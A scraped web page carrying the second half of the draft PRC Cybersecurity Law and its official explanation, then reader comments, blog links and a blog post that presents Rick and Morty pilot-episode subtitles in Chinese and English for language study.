第二十六条 国务院通信、广播电视、能源、交通、水利、金融等行业的主管部门和国务院其他有关部门（以下称负责关键信息基础设施安全保护工作的部门）按照国务院规定的职责，分别负责指导和监督关键信息基础设施运行安全保护工作。
第二十七条 建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能，并保证安全技术措施同步规划、同步建设、同步使用。
第二十八条 除本法第十七条的规定外，关键信息基础设施的运营者还应当履行下列安全保护义务：
（一）设置专门安全管理机构和安全管理负责人，并对该负责人和关键岗位的人员进行安全背景审查；
（二）定期对从业人员进行网络安全教育、技术培训和技能考核；
（三）对重要系统和数据库进行容灾备份；
（四）制定网络安全事件应急预案，并定期组织演练；
（五）法律、行政法规规定的其他义务。
第二十九条 关键信息基础设施的运营者采购网络产品和服务，应当与提供者签订安全保密协议，明确安全和保密义务与责任。
第三十条 关键信息基础设施的运营者采购网络产品或者服务，可能影响国家安全的，应当通过国家网信部门会同国务院有关部门组织的安全审查。具体办法由国务院规定。
第三十一条 关键信息基础设施的运营者应当在中华人民共和国境内存储在运营中收集和产生的公民个人信息等重要数据；因业务需要，确需在境外存储或者向境外的组织或者个人提供的，应当按照国家网信部门会同国务院有关部门制定的办法进行安全评估。法律、行政法规另有规定的从其规定。
第三十二条 关键信息基础设施的运营者应当自行或者委托专业机构对其网络的安全性和可能存在的风险每年至少进行一次检测评估，并对检测评估情况及采取的改进措施提出网络安全报告，报送相关负责关键信息基础设施安全保护工作的部门。
第三十三条 国家网信部门应当统筹协调有关部门，建立协作机制。对关键信息基础设施的安全保护可以采取下列措施：
（一）对关键信息基础设施的安全风险进行抽查检测，提出改进措施，必要时可以委托专业检验检测机构对网络存在的安全风险进行检测评估；
（二）定期组织关键信息基础设施的运营者进行网络安全应急演练，提高关键信息基础设施应对网络安全事件的水平和协同配合能力；
（三）促进有关部门、关键信息基础设施运营者以及网络安全服务机构、有关研究机构等之间的网络安全信息共享；
（四）对网络安全事件的应急处置与恢复等，提供技术支持与协助。
第四章 网络信息安全
第三十四条 网络运营者应当建立健全用户信息保护制度，加强对用户个人信息、隐私和商业秘密的保护。
第三十五条 网络运营者收集、使用公民个人信息，应当遵循合法、正当、必要的原则，明示收集、使用信息的目的、方式和范围，并经被收集者同意。
网络运营者不得收集与其提供的服务无关的公民个人信息，不得违反法律、行政法规的规定和双方的约定收集、使用公民个人信息，并应当依照法律、行政法规的规定或者与用户的约定，处理其保存的公民个人信息。
网络运营者收集、使用公民个人信息，应当公开其收集、使用规则。
第三十六条 网络运营者对其收集的公民个人信息必须严格保密，不得泄露、篡改、毁损，不得出售或者非法向他人提供。
网络运营者应当采取技术措施和其他必要措施，确保公民个人信息安全，防止其收集的公民个人信息泄露、毁损、丢失。在发生或者可能发生信息泄露、毁损、丢失的情况时，应当立即采取补救措施，告知可能受到影响的用户，并按照规定向有关主管部门报告。
第三十七条 公民发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的，有权要求网络运营者删除其个人信息；发现网络运营者收集、存储的其个人信息有错误的，有权要求网络运营者予以更正。
第三十八条 任何个人和组织不得窃取或者以其他非法方式获取公民个人信息，不得出售或者非法向他人提供公民个人信息。
第三十九条 依法负有网络安全监督管理职责的部门，必须对在履行职责中知悉的公民个人信息、隐私和商业秘密严格保密，不得泄露、出售或者非法向他人提供。
第四十条 网络运营者应当加强对其用户发布的信息的管理，发现法律、行政法规禁止发布或者传输的信息的，应当立即停止传输该信息，采取消除等处置措施，防止信息扩散，保存有关记录，并向有关主管部门报告。
第四十一条 电子信息发送者发送的电子信息，应用软件提供者提供的应用软件不得设置恶意程序，不得含有法律、行政法规禁止发布或者传输的信息。
电子信息发送服务提供者和应用软件下载服务提供者，应当履行安全管理义务，发现电子信息发送者、应用软件提供者有前款规定行为的，应当停止提供服务，采取消除等处置措施，保存有关记录，并向有关主管部门报告。
第四十二条 网络运营者应当建立网络信息安全投诉、举报平台，公布投诉、举报方式等信息，及时受理并处理有关网络信息安全的投诉和举报。
第四十三条 国家网信部门和有关部门依法履行网络安全监督管理职责，发现法律、行政法规禁止发布或者传输的信息的，应当要求网络运营者停止传输，采取消除等处置措施，保存有关记录；对来源于中华人民共和国境外的上述信息，应当通知有关机构采取技术措施和其他必要措施阻断信息传播。
第五章 监测预警与应急处置
第四十四条 国家建立网络安全监测预警和信息通报制度。国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作，按照规定统一发布网络安全监测预警信息。
第四十五条 负责关键信息基础设施安全保护工作的部门，应当建立健全本行业、本领域的网络安全监测预警和信息通报制度，并按照规定报送网络安全监测预警信息。
第四十六条 国家网信部门协调有关部门建立健全网络安全应急工作机制，制定网络安全事件应急预案，并定期组织演练。
负责关键信息基础设施安全保护工作的部门应当制定本行业、本领域的网络安全事件应急预案，并定期组织演练。
网络安全事件应急预案应当按照事件发生后的危害程度、影响范围等因素对网络安全事件进行分级，并规定相应的应急处置措施。
第四十七条 网络安全事件即将发生或者发生的可能性增大时，县级以上人民政府有关部门应当依照有关法律、行政法规和国务院规定的权限和程序，发布相应级别的预警信息，并根据即将发生的事件的特点和可能造成的危害，采取下列措施：
（一）要求有关部门、机构和人员及时收集、报告有关信息，加强对网络安全事件发生、发展情况的监测；
（二）组织有关部门、机构和专业人员，对网络安全事件信息进行分析评估，预测事件发生的可能性、影响范围和危害程度；
（三）向社会发布与公众有关的预测信息和分析评估结果；
（四）按照规定向社会发布可能受到网络安全事件危害的警告，发布避免、减轻危害的措施。
第四十八条 发生网络安全事件，县级以上人民政府有关部门应当立即启动网络安全事件应急预案，对网络安全事件进行调查和评估，要求网络运营者采取技术措施和其他必要措施，消除安全隐患，防止危害扩大，并及时向社会发布与公众有关的警示信息。
第四十九条 因网络安全事件，发生突发事件或者安全生产事故的，应当依照《中华人民共和国突发事件应对法》、《中华人民共和国安全生产法》等有关法律的规定处置。
第五十条 因维护国家安全和社会公共秩序，处置重大突发社会安全事件的需要，国务院或者省、自治区、直辖市人民政府经国务院批准，可以在部分地区对网络通信采取限制等临时措施。
第六章 法律责任
第五十一条 网络运营者不履行本法第十七条、第二十一条规定的网络安全保护义务的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处一万元以上十万元以下罚款；对直接负责的主管人员处五千元以上五万元以下罚款。
关键信息基础设施的运营者不履行本法第二十七条至第二十九条、第三十二条规定的网络安全保护义务的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处十万元以上一百万元以下罚款；对直接负责的主管人员处一万元以上十万元以下罚款。
第五十二条 网络产品、服务的提供者，电子信息发送者，应用软件提供者违反本法规定，有下列行为之一的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处五万元以上五十万元以下罚款；对直接负责的主管人员处一万元以上十万元以下罚款：
（一）设置恶意程序的；
（二）其产品、服务具有收集用户信息功能，未向用户明示并取得同意的；
（三）对其产品、服务存在的安全缺陷、漏洞等风险未及时向用户告知并采取补救措施的；
（四）擅自终止为其产品、服务提供安全维护的。
第五十三条 网络运营者违反本法规定，未要求用户提供真实身份信息，或者对不提供真实身份信息的用户提供相关服务的，由有关主管部门责令改正；拒不改正或者情节严重的，处五万元以上五十万元以下罚款，并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、撤销相关业务许可或者吊销营业执照；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。
第五十四条 网络运营者违反本法规定，侵害公民个人信息依法得到保护的权利的，由有关主管部门责令改正，可以根据情节单处或者并处警告、没收违法所得、处违法所得一倍以上十倍以下罚款，没有违法所得的，处五十万元以下罚款；情节严重的，可以责令暂停相关业务、停业整顿、关闭网站、撤销相关业务许可或者吊销营业执照；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。
违反本法规定，窃取或者以其他方式非法获取、出售或者非法向他人提供公民个人信息，尚不构成犯罪的，由公安机关没收违法所得，并处违法所得一倍以上十倍以下罚款，没有违法所得的，处五十万元以下罚款。
第五十五条 关键信息基础设施的运营者违反本法第三十条规定，使用未经安全审查或者安全审查未通过的网络产品或者服务的，由有关主管部门责令停止使用，处采购金额一倍以上十倍以下罚款；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。
第五十六条 关键信息基础设施的运营者违反本法规定，在境外存储网络数据，或者未经安全评估向境外的组织或者个人提供网络数据的，由有关主管部门责令改正，给予警告，没收违法所得，处五万元以上五十万元以下罚款，并可以责令暂停相关业务、停业整顿、关闭网站、撤销相关业务许可或者吊销营业执照；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。
第五十七条 网络运营者违反本法规定，对法律、行政法规禁止发布或者传输的信息未停止传输、采取消除等处置措施、保存有关记录的，由有关主管部门责令改正，给予警告，没收违法所得；拒不改正或者情节严重的，处十万元以上五十万元以下罚款，并可以责令暂停相关业务、停业整顿、关闭网站、撤销相关业务许可或者吊销营业执照；对直接负责的主管人员和其他直接责任人员处二万元以上二十万元以下罚款。
电子信息发送服务提供者、应用软件下载服务提供者，未履行本法规定的安全义务的，依照前款规定处罚。
第五十八条 发布或者传输法律、行政法规禁止发布或者传输的信息的，依照有关法律、行政法规的规定处罚。
第五十九条 网络运营者违反本法规定，有下列行为之一的，由有关主管部门责令改正；拒不改正或者情节严重的，处五万元以上五十万元以下罚款；对直接负责的主管人员和其他直接责任人员，处一万元以上十万元以下罚款：
（一）未将网络安全风险、网络安全事件向有关主管部门报告的；
（二）拒绝、阻碍有关部门依法实施的监督检查的；
（三）拒不提供必要的支持与协助的。
第六十条 有本法第二十二条规定的危害网络安全的行为，尚不构成犯罪的，或者有其他违反本法规定的行为，构成违反治安管理行为的，依法给予治安管理处罚。
第六十一条 国家机关政务网络的运营者不履行本法规定的网络安全保护义务的，由其上级机关或者有关机关责令改正；对直接负责的主管人员和其他直接责任人员依法给予处分。
第六十二条 依法负有网络安全监督管理职责的部门的工作人员，玩忽职守、滥用职权、徇私舞弊，尚不构成犯罪的，依法给予行政处分。
第六十三条 违反本法规定，给他人造成损害的，依法承担民事责任。
第六十四条 违反本法规定，构成犯罪的，依法追究刑事责任。
第七章 附 则
第六十五条 本法下列用语的含义:
（一）网络，是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的网络和系统。
（二）网络安全，是指通过采取必要措施，防范对网络的攻击、入侵、干扰、破坏和非法使用以及意外事故，使网络处于稳定可靠运行的状态，以及保障网络存储、传输、处理信息的完整性、保密性、可用性的能力。
（三）网络运营者，是指网络的所有者、管理者以及利用他人所有或者管理的网络提供相关服务的网络服务提供者，包括基础电信运营者、网络信息服务提供者、重要信息系统运营者等。
（四）网络数据，是指通过网络收集、存储、传输、处理和产生的各种电子数据。
（五）公民个人信息，是指以电子或者其他方式记录的公民的姓名、出生日期、身份证件号码、个人生物识别信息、职业、住址、电话号码等个人身份信息，以及其他能够单独或者与其他信息结合能够识别公民个人身份的各种信息。
第六十六条 存储、处理涉及国家秘密信息的网络的运行安全保护，除应当遵守本法外，还应当遵守保密法律、行政法规的规定。
第六十七条 军事网络和信息安全保护办法，由中央军事委员会制定。
第六十八条 本法自 年 月 日起施行。
关于《中华人民共和国网络安全法（草案）》的说明
一、关于制定本法的必要性和起草经过
当前，网络和信息技术迅猛发展，已经深度融入我国经济社会的各个方面，极大地改变和影响着人们的社会活动和生活方式，在促进技术创新、经济发展、文化繁荣、社会进步的同时，网络安全问题也日益凸显。一是，网络入侵、网络攻击等非法活动，严重威胁着电信、能源、交通、金融以及国防军事、行政管理等重要领域的信息基础设施的安全，云计算、大数据、物联网等新技术、新应用面临着更为复杂的网络安全环境。二是，非法获取、泄露甚至倒卖公民个人信息，侮辱诽谤他人、侵犯知识产权等违法活动在网络上时有发生，严重损害公民、法人和其他组织的合法权益。三是，宣扬恐怖主义、极端主义，煽动颠覆国家政权、推翻社会主义制度，以及淫秽色情等违法信息，借助网络传播、扩散，严重危害国家安全和社会公共利益。网络安全已成为关系国家安全和发展，关系人民群众切身利益的重大问题。
党的十八大以来，以习近平同志为总书记的党中央从总体国家安全观出发，就网络安全问题提出了一系列新思想新观点新论断，对加强国家网络安全工作作出重要部署。党的十八届四中全会决定要求完善网络安全保护方面的法律法规。广大人民群众十分关注网络安全，强烈要求依法加强网络空间治理，规范网络信息传播秩序，惩治网络违法犯罪，使网络空间清朗起来。全国人大代表也提出许多议案、建议，呼吁出台网络安全相关立法。为适应国家网络安全工作的新形势新任务，落实党中央的要求，回应人民群众的期待，本届全国人大常委会将制定网络安全方面的立法列入了立法规划、年度立法工作计划。张德江委员长和李建国副委员长等常委会领导同志多次就网络安全立法问题作出重要批示，要求“抓紧论证，抓紧起草，抓紧出台”。
根据党中央的要求和全国人大常委会立法工作安排，2014年上半年，法工委组成工作专班，开展网络安全法研究起草工作。通过召开座谈会、论证会等多种方式听取中央有关部门，银行、证券、电力等重要信息系统运营机构，一些网络设备制造企业、互联网服务企业、网络安全企业，有关信息技术和法律专家的意见，并到北京、浙江、广东等一些地方调研，深入了解网络安全领域存在的突出问题，掌握各方面的立法需求。在此基础上，先后提出了网络安全立法的基本思路、制度框架和草案初稿，会同中央网信办与工业和信息化部、公安部、国务院法制办等部门多次交换意见，反复研究，提出了网络安全法草案征求意见稿。经同中央国安办、中央网信办共同商量，再次征求了有关部门的意见，作了进一步完善，形成了网络安全法草案。
二、关于立法的指导思想和把握的几点
网络安全法的指导思想是：坚持以总体国家安全观为指导，全面落实党的十八大和十八届三中、四中全会决策部署，坚持积极利用、科学发展、依法管理、确保安全的方针，充分发挥立法的引领和推动作用，针对当前我国网络安全领域的突出问题，以制度建设提高国家网络安全保障能力，掌握网络空间治理和规则制定方面的主动权，切实维护国家网络空间主权、安全和发展利益。
据此，起草工作把握了以下几点：
第一，坚持从国情出发。根据我国网络安全面临的严峻形势和网络立法的现状，充分总结近年来网络安全工作经验，确立保障网络安全的基本制度框架。重点对网络自身的安全作出制度性安排，同时在信息内容方面也作出相应的规范性规定，从网络设备设施安全、网络运行安全、网络数据安全、网络信息安全等方面建立和完善相关制度，体现中国特色；并注意借鉴有关国家的经验，主要制度与国外通行做法是一致的，并对内外资企业同等对待，不实行差别待遇。
第二，坚持问题导向。本法是网络安全管理方面的基础性法律，主要针对实践中存在的突出问题，将近年来一些成熟的好做法作为制度确定下来，为网络安全工作提供切实法律保障。对一些确有必要，但尚缺乏实践经验的制度安排做出原则性规定，同时注重与已有的相关法律法规相衔接，并为需要制定的配套法规预留接口。
第三，坚持安全与发展并重。维护网络安全，必须坚持积极利用、科学发展、依法管理、确保安全的方针，处理好与信息化发展的关系，做到协调一致、齐头并进。通过保障安全为发展提供良好环境，本法注重对网络安全制度作出规范的同时，注意保护各类网络主体的合法权利，保障网络信息依法有序自由流动，促进网络技术创新和信息化持续健康发展。
三、关于草案的主要内容
草案共七章六十八条。主要内容包括：
（一）关于维护网络主权和战略规划
网络主权是国家主权在网络空间的体现和延伸，网络主权原则是我国维护国家安全和利益、参与网络国际治理与合作所坚持的重要原则。为此，草案将“维护网络空间主权和国家安全”作为立法宗旨，规定：在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理，适用本法（草案第二条）。同时，按照安全与发展并重的原则，设专章对国家网络安全战略和重要领域网络安全规划、促进网络安全的支持措施作了规定（草案第二章）。
（二）关于保障网络产品和服务安全
维护网络安全，首先要保障网络产品和服务的安全。草案主要作了以下规定：一是，明确网络产品和服务提供者的安全义务，包括：不得设置恶意程序，及时向用户告知安全缺陷、漏洞等风险，持续提供安全维护服务等（草案第十八条）。二是，总结实践经验，将网络关键设备和网络安全专用产品的安全认证和安全检测制度上升为法律并作了必要的规范（草案第十九条）。三是，建立关键信息基础设施运营者采购网络产品、服务的安全审查制度，规定：关键信息基础设施的运营者采购网络产品或者服务，可能影响国家安全的，应当通过国家网信部门会同国务院有关部门组织的安全审查（草案第三十条）。
（三）关于保障网络运行安全
保障网络运行安全，必须落实网络运营者第一责任人的责任。据此，草案将现行的网络安全等级保护制度上升为法律，要求网络运营者按照网络安全等级保护制度的要求，采取相应的管理措施和技术防范等措施，履行相应的网络安全保护义务。（草案第十七条）
为了保障关键信息基础设施安全，维护国家安全、经济安全和保障民生，草案设专节对关键信息基础设施的运行安全作了规定，实行重点保护。范围包括基础信息网络、重要行业和领域的重要信息系统、军事网络、重要政务网络、用户数量众多的商业网络等。并对关键信息基础设施安全保护办法的制定、负责安全保护工作的部门、运营者的安全保护义务、有关部门的监督和支持等作了规定。（草案第二十五条至第二十九条、第三十二条、第三十三条）
（四）关于保障网络数据安全
随着云计算、大数据等技术的发展和应用，网络数据安全对维护国家安全、经济安全，保护公民合法权益，促进数据利用至为重要。为此，草案作了以下规定：一是，要求网络运营者采取数据分类、重要数据备份和加密等措施，防止网络数据被窃取或者篡改（草案第十七条）。二是，加强对公民个人信息的保护，防止公民个人信息数据被非法获取、泄露或者非法使用（草案第三十四条至第三十九条）。三是，要求关键信息基础设施的运营者在境内存储公民个人信息等重要数据；确需在境外存储或者向境外提供的，应当按照规定进行安全评估（草案第三十一条）。
（五）关于保障网络信息安全
2012年全国人大常委会关于加强网络信息保护的决定对规范网络信息传播活动作了原则规定。草案坚持加强网络信息保护的决定确立的原则，进一步完善了相关管理制度。一是，确立决定规定的网络身份管理制度即网络实名制，以保障网络信息的可追溯（草案第二十条）。二是，明确网络运营者处置违法信息的义务，规定：网络运营者发现法律、行政法规禁止发布或者传输的信息的，应当立即停止传输，采取消除等处置措施，防止信息扩散，保存有关记录，并向有关主管部门报告（草案第四十条）。三是规定，发送电子信息、提供应用软件不得含有法律、行政法规禁止发布或者传输的信息（草案第四十一条）。四是规定，为维护国家安全和侦查犯罪的需要，侦查机关依照法律规定，可以要求网络运营者提供必要的支持与协助（草案第二十三条）。五是，赋予有关主管部门处置违法信息、阻断违法信息传播的权力（草案第四十三条）。
（六）关于监测预警与应急处置
为了加强国家的网络安全监测预警和应急制度建设，提高网络安全保障能力，草案作了以下规定：一是，要求国务院有关部门建立健全网络安全监测预警和信息通报制度，加强网络安全信息收集、分析和情况通报工作（草案第四十四条、第四十五条）。二是，建立网络安全应急工作机制，制定应急预案（草案第四十六条）。三是，规定预警信息的发布及网络安全事件应急处置措施（草案第四十七条至第四十九条）。四是，为维护国家安全和社会公共秩序，处置重大突发社会安全事件，对网络管制作了规定（草案第五十条）。
（七）关于网络安全监督管理体制
为加强网络安全工作，草案规定：国家网信部门负责统筹协调网络安全工作和相关监督管理工作，并在一些条款中明确规定了其协调和管理职能。同时规定，国务院工业和信息化、公安等部门按照各自职责负责网络安全保护和监督管理相关工作（草案第六条）。
此外，草案还对违反本法规定的法律责任、相关用语的含义等作了规定。
相关链接：
留言评论（旧系统）：
flowind @ 2015-07-18 23:09:49
有些事情说出来真的不太好..各种数据泄露..尤其是ks数据...貌似大多数都是自己内部的人在卖吧..
本站回复：
+1
佚名 @ 2015-08-14 06:12:05
这玩意只能针对正统公司起一点作用，对大多群众就是然并卵(然而并没有什么卵用)，还有就是告诉你不要和政府作对，当心水表
本站回复：
-_-!!!
- 博客 Randy's Blog 2015-07-01 08:00:002154
- 博客 Jiajun的编程随想 2015-06-22 08:00:00《Block I/O》- | The difference (between character device and block device) comes down to...
- 博客 Jiajun的编程随想 2015-03-17 08:00:00《如何解读c的声明》2015-03-17 更新：~~~~~~~~~~~~~~~~~...
- 博客 Jiajun的编程随想 2015-01-11 08:00:00《关于输入法的猜想》每逢期末便是大作业、答辩涌来之时...
- 博客 Randy's Blog 2014-12-31 08:00:002158
- 博客 Jiajun的编程随想 2014-12-12 08:00:00《C语言与抽象思维》Part I------...
- 博客 Jiajun的编程随想 2014-11-04 08:00:00《C注意事项》2014-11-04:~~~~~~~~~~~...
- 博客 Jiajun的编程随想 2014-09-09 08:00:00《C语言中点操作符(.)和箭头操作符(->)的不同之处》自己写一个简单的uname, 要用到utsname结构体, 编译报错如下...
- 博客 Jiajun的编程随想 2014-09-07 08:00:00《征服C指针笔记 - 数组和指针的微妙关系》在以前的程序中, 指针确实比数组下标访问更快,但是现在的cpu速度更快,编译器优化更好(循环计数是编译器优化的基本内容)...
- 博客 Jiajun的编程随想 2014-08-22 08:00:00《关于文件权限的摘记》在unix中, 文件权限是一个很重要的特征, 决定了对一个文件的读, 写,执行操作是否可以进行, 基础的相关知识就不重复说明, 在APUE中有如下摘要...
- 博客 Jiajun的编程随想 2014-06-17 08:00:00《用crontab完成自动化》在我看来, 计算机就是为了帮人类完成一些繁琐的事情而生的, 而linux更是如此,所以我们要充分利用自动化...
- 博客 庭说 2013-12-03 00:00:00
兴趣是最好的老师，所以我把 Rick and Morty 作为英语精读素材，不走捷径，弄懂每一句台词，模仿并重复剧中的地道口语，反复听上几百遍，终有一日，我相信量变将引发质变。
下载字幕
导出字幕
- 🀄 电波字幕组：创立于 2012 年 7 月，诚心诚译，带给您最优质的英文影视字幕。
- 📥 caption2text：字幕转换为文本工具，支持 ass 及 srt 格式，可批量导出为 Word 及 Text 文件。
导出配音
- 📽️ QQ 影音：播放视频，右键视频 >
工具>转码压缩格式：纯音频，mp3码率：320 kbps
- 📣 Audacity：打开音频 ，
Ctrl+A全选- 增大音量：
效果>增幅（放大）>确定 - 导出为 mp3
比特率模式：预设质量：发狂，320 kbps可变速率：快速声道模式：合并立体声艺术家名字：Rick and Morty轨道标题：S1E1 Pilot
- 增大音量：
- ✈️ Telegram：上传音频到电报私人群组或频道，随时随地，手机电脑，想听就听。
S1
E1 Pilot
- 翻译: 朽
- 校对: 史努比嘟
- 后期: Nico
- 压制: 凯撒
Morty 来
Morty, you got to come on.跟我走一趟
You got to come with me.咋回事儿
What's going on?我给你个惊喜
I got a surprise for you, morty.可现在是半夜啊
It's the middle of the night. What are you talking about?有惊喜 快来
I got a surprise for you. Come on, hurry up.嗷
Ow!别拉得这么用劲儿啊 - 给你个惊喜 Morty
Ow! You're tugging me too hard. - I got a surprise for you, Morty.
你觉得
What do you... what do you这飞船咋样啊 Morty
Think of this flying vehicle, Morty?我拿车库里的东西造的
I built it out of stuff I found in the garage.挺好的 Rick
Yeah, Rick, it's挺棒的
It's great.惊喜就是这个吗
Is this the surprise?Morty 我必须必须必须
Morty, I had to I had to do I had to I had必须得搞个炸弹 Mory
To I had to make a bomb, Morty.我造了个炸弹
I had to create a bomb.啥 炸弹
What?! A bomb?!炸弹投下去 创造新天地
We're gonna drop it down there just get a whole fresh start, Morty.新呀新天地
Create a whole fresh start.这太疯了吧
T-t-that's absolutely crazy!来嘛Morty
Come on, Morty.淡定点Morty
Just take it easy, Morty.会很赞的
It's gonna be good.现在咱去接你的小伙伴Jessica
Right now, we're gonna go pick up your little friend jessica.Jessica
Jessica?我数学课上那个
From my math class?我扔炸弹下去的时候 我不想
When I drop the bomb, I don't, you know, I want you to我想让你有人陪着
Have somebody, you know我希望你能那啥
I want you to have the thing就和新世界的亚当与夏娃一样 你就是亚当
I'm gonna make it like a new adam and eve, and you're gonna be adam.Jessica就是夏娃 惊喜吧 Morty
And jessica's gonna be eve, and so that's the surprise, Morty.不行
No, you can't!Jessica根本不认识我
J-jessica doesn't even know I exist.先别管这个 你不能毁灭人类
But but but forget about that, because you can't blow up humanity.我知道你想说啥 Morty
I-I get what you're trying to say, M-Morty.听着 我不 你不 你不用担心
Listen, I'm not you don't y-y-you don't got to worry about me我不会调戏Jessica 或者玩弄Jessica 之类的
trying to fool around with with jessica or mess around with jessica or anything.我不是那种人 Morty
I'm I'm not that kind of guy, Morty.Rick 你在说什么
What are you talking about, Rick?你你你不用
You you you don't担心我会
Have to worry about me getting和Jessica搞上什么的
With jessica or anything.她她她是你一个人的 Morty
She she she she she's all for you, Morty.Jessica不是重点
I don't care about Jessica!Morty 没错 你说得对
You know what, Morty? You're right.别管这妹子了
Let's forget the girl all together.留下也是祸患
She she's probably nothing but trouble, anyways.中微子炸弹装载中
Arming neutrino bomb.够了
That's it that's it, Rick.方向盘给我
I'm taking the wheel.闪开 Morty
Get off of me, Morty!我不能让你这样
I'm taking charge of this situation, buddy.你发啥疯
What's gotten into you?我才不会在边上跟个傻
I'm I'm I'm i'm not gonna stand around like some sort of dumb...你搞啥 疯了吗
What are you, crazy?傻瓜一样让你把地球灭了
... person and just let you blow up the whole world.好吧好吧
All right, all right.我降落就是了
I'll I'll land.我降落就是了
I'll land. I'll land.这就降落好吧
I'll land the thing.这就降落
I'll land the thing.突然这么男人了
Big tough guy all of a sudden.咱就停这儿吧
We'll park it right here, Morty.就这路边上吧
Right here on the s-side of the r-road here.谢天谢地
Oh, thank god.Morty 其实这是个考验
You know what? That was all a test, Morty.精心策划
Just an elaborate test to make让你更加坚定
You more assertive.真的
It was?当然了 不然咧
Sure. Why not?我咋知道
I don't I don't know.知道吗 Mo
You you know what, Mo中微子炸弹装载完毕
Neutrino bomb armed.呃
Um...今晚要播新一期歌唱节目啦
I see there's a new episode of that singing show tonight.你们觉得最佳歌手是谁
Who do you guys think is gonna be the best singer?上帝啊
Oh, my god.头都砸进饭里了
His head is in his food.我想吐
I'm going to puke.Morty 你病了吗
Morty, are you getting sick?跟你说了别拿客厅里的枕头练亲亲
I told you not to practice-kiss the living-room pillow.狗狗在上面睡觉的
The dog sleeps on it.我没亲枕头 妈
I wasn't kissing a pillow, mom.我就是昨晚没睡好
I just I didn't get a lot of sleep last night.可能我的梦太吵了什么的
Maybe my dreams were just too loud or something.其实是你整晚都和Rick外公在外面吧
Or maybe you were out all night again with grandpa Rick.啥
What?!爸
Dad?咋 每天晚上都非要睡觉吗
What, so everyone's supposed to sleep every single night now?你晓得夜晚占了我们时间的一半吧
You realize that nighttime makes up half of all time?去你的
Damn it!Jerry
Jerry!Beth
Beth!上帝啊 我爹妈真吵
Oh, my god. My parents are so loud.我想死
I want to die.Summer 世上没有上帝
Mm, there is no god, summer.你现在忍痛接受
You got to rip that band-aid off now.以后会感谢我的
You'll thank me later.无意冒犯 Rick 算了吧 管他有意无意
Okay, with all due respect, rick what am I talking about? What respect is due?你老拉着他去搞这些没完没了的科幻玩意儿
How is my son supposed to pass his classes if you keep dragging他上的课还怎么过
Him off for high-concept sci-fi rigamarole?Jerry 我不想多管闲事
Listen, Jerry, I-I don't want to overstep my bounds or anything.这是你家
It's your house.你的地盘
It's your world.你是凯撒大帝
You're a real julius caesar.但是我觉得学校这种东西
But I'll tell you some tell you how how I feel about school, jerry.纯属浪费时间 一堆人乱跑乱撞
It's a waste of time. A bunch of people running around, bumping into each other.前面的人说"二加二"
G-guy up front says, "Two plus two."后面的人说"四"
The people in the back say, "Four."下课铃一响 他们给你一盒牛奶
Then the bell rings, and they give you a carton of milk and a一张纸 上面写着
Piece of paper that says you can你可以去上个大号
Go take a dump or something.学校不适合聪明人待
I mean, it's it's not a place for smart people, Jerry.我知道不是什么主流观点 但我就这么想的
And I know that's not a popular opinion, but it's my two cents on the issue.早餐很棒 Beth
This was a good breakfast, Beth.你真是煎得一手好蛋
You really made the crap out of those eggs.要是你妈妈也能吃到就好了
I wish your mother was here to eat them.噢 爸爸
Oh, dad.啥
What?没搞错吧
For real?都坐好
All right, now, everybody get settled.离窗户远点
Get away from the windows!今天我们要来点真家伙
Now, look, we're gonna be dealing with some real serious stuff today.你们可能听说过
You might have heard of it.叫做数学
It's called math.没了数学 我们都不会存在 现在开始吧
And without it, none of us would even exist, so let's jump right in.二加二
two plus two.Jessica
Jessica.五加五
Five plus five.十ssica
Tenssica.很好
Okay, good.现在小测验
It's time for the quiz.叫鬼啊
Yeah, you know what?! Aw, too bad!乖乖写
Tough!第一排拿一张
First row, take one.剩下的往后传
Pass it back for me.这里竞争是很激烈的
The stakes are high in this room.每天都有生死攸关的事发生
There's crucial things happening here every day.有人越来越聪明
People getting smarter.有人越来越蠢
Some of y'all getting dumber.有的人根本看不到三点的太阳
Some of y'all ain't gonna see 3:00.嗨 Morty
Hi, Morty.哇哦
Whoa!嗨 Jessica
Hi, Jessica.想看看吗
Can I show these to you?哇
Wow.棒极了耶
Th-they're both great.谢谢
Thank you.你知道我管它们叫啥吗
You know what I named these?我的小Motry
My little morties.好荣幸 但有点诡异
Uh, that's flattering... and a little weird.知道我想让你干嘛吗
Do you know what I want you to do with them?重新取个名字
Rename them?好好捏
Squeeze them.使劲揉
Manhandle them.大力不要停
Give them the business.好好让它们爽一爽
See if you can shuffle them. I mean, really get in there and knock them around.怎样都可以
No wrong answers.哇
Wow.好吧 Jessica
Well, okay, Jessica.我试试吧
L-let's give this a shot.嗯
Mm.Morty
Oh, Morty.你在对我做什么
What are you doing to me?我在努力了
Uh, I-I'm just doing my best.Morty
Morty!你在对我做什么
What are you doing to me?!Jessica
Jessica.Morty
Morty!Jessica
Jessica.再来五分钟
Five more minutes of this,我就要生气了
And I'm gonna get mad.Jessica
Je-jessica.Jessica
Jessica.这可不是我的错
Not my fault this is happening.看呐
Well, well, well.Frank 早上好
Uh, morning, Frank."早上好" 你什么意思
"Morning"? What was what is that supposed to mean?你在取笑我吗
You making fun of me?你这是在暗示我家里穷吗
Are you trying to say my family's poor?Frank 没必要动刀子吧
Oh, geez, frank. I don't know if a knife is necessary.不用刀子也能搞定啊
I mean, you know, y-you kind of had things handled without it.轮得到你来教我吗
You telling me how to bully now?这你就错了 Morty
Big mistake, Morty.现在我要砍了你 因为我家有钱
And now I'm gonna cut you, 'cause my family's rich.你在这儿啊 Morty
There you are, Morty.听我说
Listen to me.我要去另外一个次元办点事儿
I got an errand to run in a whole different dimension.我需要帮手
I need an extra pair of hands.天啊 Rick 你把Frank咋了
Oh, geez, Rick. W-what'd you do to frank?很明显啊Morty 我把他冻住了
It's pretty obvious, Morty. I froze him.我需要你帮忙
Now listen. I need your help, morty.我们赶紧离离离开这儿
I mean, we got we got to get get the hell out of here去办事儿
